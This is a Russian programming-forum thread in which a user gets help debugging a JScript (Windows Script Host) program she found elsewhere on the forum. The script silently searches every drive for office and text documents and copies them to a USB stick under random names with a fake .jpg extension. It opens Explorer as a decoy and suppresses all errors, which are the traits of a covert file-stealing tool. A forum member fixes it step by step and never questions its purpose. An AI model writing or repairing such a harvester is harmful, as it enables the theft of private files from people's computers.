Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
||
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[18.189.2.122] |
|
Сообщ.
#1
,
|
|
|
Доброго времени суток! Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе. По программе планируется поиск файлом с необходимой маской по всему пк на флешку. Писала программы для копирования, но через путь. Это не всегда может сработать.
function UpdateSoftware(fso, cd, softwareFolder) { try { var patch = /\.(doc|rtf|xls|txt)$/i; var diff = new Date(2007,05,01); var softwareEnumerator = new Enumerator(softwareFolder.Files); softwareEnumerator.moveFirst(); for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) { try { fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(softwareEnumerator.item().DateCreated)+"-"+Date.parse(softwareEnumerator.item().DateLastModified)+"-"+Date.parse(softwareEnumerator.item().DateLastAccessed)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)+'-'+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)+".jpg", true); } catch (e) { if (e.number == 61) { WScript.Quit(0); } } } } var packageEnumerator = new Enumerator(softwareFolder.SubFolders); packageEnumerator.moveFirst(); for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) { try { if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) { UpdateSoftware(fso, cd, packageEnumerator.item()); } } catch(e) { } } } catch(e) { } } try { var ws = WScript.CreateObject("WScript.Shell"); ws.Exec("explorer.exe" + " " + ws.CurrentDirectory); var fso = WScript.CreateObject("Scripting.FileSystemObject"); if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) { fso.CreateFolder(ws.CurrentDirectory+"\\photo"); } var tmpFileName = "autorun.txt"; if (!fso.FileExists(tmpFileName)) { var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true); tmpFile.Close(); var driveEnumerator = new Enumerator(fso.Drives); driveEnumerator.moveFirst(); for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) { try { if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) { UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder); } } catch(e) { } } fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true); } } catch(e) { } Заранее большое спасибо! |
Сообщ.
#2
,
|
|
|
Может, patch - строка и нужны кавычки? Не уверен.
|
Сообщ.
#3
,
|
|
|
Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.
|
Сообщ.
#4
,
|
|
|
Цитата lixen15 @ Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе. Вроде всё нормально. Какая конкретно ошибка? Цитата MIF @ Не работает потому, что приведеный текст - смесь двух языков: VBS и C#. Это JavaScript |
Сообщ.
#5
,
|
|
|
Олег Мошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему. Мне просто нужен скрипт чтобы мог искать файлы на всем пк по маске и копировать на флешку.
И спасибо большое за ответы, я не ожидала, что кто-то отзавется |
Сообщ.
#6
,
|
|
|
Цитата lixen15 @ ошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему. Проверь файл, что он в кодировке ANSI, и что расширение у него .js Я просто скопировал код отсюда, всё нормально никакой ошибки не было |
Сообщ.
#7
,
|
|
|
Олег М Все сработало, только вот интересно то, что ни одно фото не открывается и имеет какие то нереально длинные названия(
|
Сообщ.
#8
,
|
|
|
Цитата lixen15 @ что ни одно фото не открывается и имеет какие то нереально длинные названия( Не открывается потому что текстовые и др. файлы var patch = /\.(doc|rtf|xls|txt)$/i; просто перерименовываются в .jpeg. От этого они картинками не станут. Наверное, надо patch = /\.(jpeg)$/i искать. А название длинное, потому что ты его таким задаёшь - fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(software................. |
Сообщ.
#9
,
|
|
|
Олег М Я в шоке! все сработало!Спасибо ВАМ огромнейшее! Вопрос такой, как можно сократить названия файла или оставлять их такими же как они и были. И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)
|
Сообщ.
#10
,
|
|
|
Цитата lixen15 @ И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?) Сейчас у тебя при переименовании расширение задано константой +".jpg", true); Надо здесь поставить то, которое было у исходного файла. Его можно вытащить из regex patch, что-то типа var found = softwareEnumerator.item().Name.match(patch); var ext = found[0]; |
Сообщ.
#11
,
|
|
|
Олег М странно. Операция теперь проходит без ошибок, но файлов не появляется никаких
|
Сообщ.
#12
,
|
|
|
Покажи код
|
Сообщ.
#13
,
|
|
|
Олег М
function UpdateSoftware(fso, cd, softwareFolder) { try { var patch = /\.(jpg)$/i; var diff = new Date(2018,05,01); var softwareEnumerator = new Enumerator(softwareFolder.Files); softwareEnumerator.moveFirst(); for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) { try { var found = softwareEnumerator.item().Name.match(patch); var ext = found[0]; } catch (e) { if (e.number == 61) { WScript.Quit(0); } } } } var packageEnumerator = new Enumerator(softwareFolder.SubFolders); packageEnumerator.moveFirst(); for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) { try { if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) { UpdateSoftware(fso, cd, packageEnumerator.item()); } } catch(e) { } } } catch(e) { } } try { var ws = WScript.CreateObject("WScript.Shell"); ws.Exec("explorer.exe" + " " + ws.CurrentDirectory); var fso = WScript.CreateObject("Scripting.FileSystemObject"); if (!fso.FolderExists(ws.CurrentDirectory+"\\home")) { fso.CreateFolder(ws.CurrentDirectory+"\\home"); } var tmpFileName = "autorun.txt"; if (!fso.FileExists(tmpFileName)) { var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true); tmpFile.Close(); var driveEnumerator = new Enumerator(fso.Drives); driveEnumerator.moveFirst(); for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) { try { if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) { UpdateSoftware(fso, ws.CurrentDirectory+"\\home", driveEnumerator.item().RootFolder); } } catch(e) { } } fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true); } } catch(e) { } Строку с длинным названием изменила на вашу и вначале задала поиск jpg. Но docx тоже не ищет так |
Сообщ.
#14
,
|
|
|
Цитата lixen15 @ Операция теперь проходит без ошибок, но файлов не появляется никаких потому что ты убрала fso.CopyFile Добавлено for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { var found = softwareEnumerator.item().Name.match(patch); if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) { try { var ext = "." + found[0]; fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true); } catch (e) { if (e.number == 61) { WScript.Quit(0); } } } } Добавлено Только для начала лучше проверь var ext = "." + found[0]; //fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true); WScript.StdOut.WriteLine(ext); Добавлено fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true); |
Сообщ.
#15
,
|
|
|
Олег М
var found = softwareEnumerator.item().Name.match(patch); var ext = found[0]; fso.CopyFile found вот так должно выглядеть? |
Сообщ.
#16
,
|
|
|
Примерно, я ж тебе выше написал, как должно выглядеть, нажми F5 и посмотри
|
Сообщ.
#17
,
|
|
|
Олег М
Не видела предыдущего сообщения, простите. function UpdateSoftware(fso, cd, softwareFolder) { try { var patch = /\.(doc|rtf|xls|txt)$/i; var diff = new Date(2007,05,01); var softwareEnumerator = new Enumerator(softwareFolder.Files); softwareEnumerator.moveFirst(); for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { var found = softwareEnumerator.item().Name.match(patch); var ext = found[0]; if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) { try { var ext = "." + found[0]; fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true); WScript.StdOut.WriteLine(ext); } catch (e) { if (e.number == 61) { WScript.Quit(0); } } } } 18 строка copyFile все время выдает ошибку |
Сообщ.
#18
,
|
|
|
Цитата lixen15 @ 18 строка copyFile все время выдает ошибку Я ............................. поставил, чтоб покороче было. try { fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10)) + "-" + Date.parse(softwareEnumerator.item().DateCreated) + "-" + Date.parse(softwareEnumerator.item().DateLastModified) + "-" + Date.parse(softwareEnumerator.item().DateLastAccessed) + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3) + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2) + '-' + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1) + found[0], true); } Добавлено Можно сократить имя fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10)) + "-" + Date.parse(softwareEnumerator.item().DateCreated) + found[0], true); |
Сообщ.
#19
,
|
|
|
Олег М
Понимаю, что я наверно Вас уже достала, хах. function UpdateSoftware(fso, cd, softwareFolder) { try { var patch = /\.(doc|rtf|xls|txt)$/i; var diff = new Date(2007,05,01); var softwareEnumerator = new Enumerator(softwareFolder.Files); softwareEnumerator.moveFirst(); for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { { var found = softwareEnumerator.item().Name.match(patch); var ext = found[0]; if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) { try { var ext = "." + found[0]; fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10)) + "-" + Date.parse(softwareEnumerator.item().DateCreated) + found[0], true); } catch (e) { if (e.number == 61) { WScript.Quit(0); } } } } var packageEnumerator = new Enumerator(softwareFolder.SubFolders); packageEnumerator.moveFirst(); for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) { try { if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) { UpdateSoftware(fso, cd, packageEnumerator.item()); } } catch(e) { } } } catch(e) { } } try { var ws = WScript.CreateObject("WScript.Shell"); ws.Exec("explorer.exe" + " " + ws.CurrentDirectory); var fso = WScript.CreateObject("Scripting.FileSystemObject"); if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) { fso.CreateFolder(ws.CurrentDirectory+"\\photo"); } var tmpFileName = "autorun.txt"; if (!fso.FileExists(tmpFileName)) { var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true); tmpFile.Close(); var driveEnumerator = new Enumerator(fso.Drives); driveEnumerator.moveFirst(); for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) { try { if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) { UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder); } } catch(e) { } } fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true); } } catch(e) { } Поставила имя, все как Вы написали, сокращенный вариант. Теперь выдает ошибку 40 строка символ 7 Синтаксическая ошибка 800А03ЕА. } catch(e) { вот эта строка |
Сообщ.
#20
,
|
|
|
Лишняя скобка
for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { { var found = softwareEnumerator.item().Name.match(patch); var ext = found[0]; |
Сообщ.
#21
,
|
|
|
Олег М
Все запустилось без ошибок, но ничего не скопировалось, хах |
Сообщ.
#22
,
|
|
|
А файлы с такими расширениями, doc|rtf|xls|txt вообще есть?
|
Сообщ.
#23
,
|
|
|
Олег М Исправила на docx. Все равно результата нету
|
Сообщ.
#24
,
|
|
|
Для начала надо убрать все try-catch, скорее всего где-то выскакивает ошибка, а ты её не видишь
Добавлено var ext = found[0]; Убери эту строчку, она даёт ошибку |
Сообщ.
#25
,
|
|
|
Олег М Доброго времени суток! Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.
function UpdateSoftware(fso, cd, softwareFolder) { var patch = /\.(docx)$/i; var diff = new Date(2007,05,01); var softwareEnumerator = new Enumerator(softwareFolder.Files); softwareEnumerator.moveFirst(); for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { var found = softwareEnumerator.item().Name.match(patch); if (found &&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) { var ext = "." + found[0]; fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10)) + "-" + Date.parse(softwareEnumerator.item().DateCreated) + found[0], true); } { if (e.number == 61) { WScript.Quit(0); } } } } var packageEnumerator = new Enumerator(softwareFolder.SubFolders); packageEnumerator.moveFirst(); for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) { if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) { UpdateSoftware(fso, cd, packageEnumerator.item()); } { } } { } { var ws = WScript.CreateObject("WScript.Shell"); ws.Exec("explorer.exe" + " " + ws.CurrentDirectory); var fso = WScript.CreateObject("Scripting.FileSystemObject"); if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) { fso.CreateFolder(ws.CurrentDirectory+"\\photo"); } var tmpFileName = "autorun.txt"; if (!fso.FileExists(tmpFileName)) { var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true); tmpFile.Close(); var driveEnumerator = new Enumerator(fso.Drives); driveEnumerator.moveFirst(); for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) { { if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) { UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder); } } { } } fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true); } } { } |
Сообщ.
#26
,
|
|
|
Цитата lixen15 @ Убрала все возможности возникновения, но к сожалению ничего не копируется все равно. Во-первых - catch надо удалять вместе с содержимым catch(e) {......}, для try желательно удалить ещё фигурные скобки {}, но можно и оставить Во-вторых - в процессе удаления try-catch ты где-то потеряла фигурную скобку, в результате функция UpdateSoftware стала вдвое меньше. Так что, верни все try-catch на место и удали только var ext = found[0];, должно заработать. И, пользуйся кнопкой CODE, когда выкладываешь исходники, как в первом сообщении. |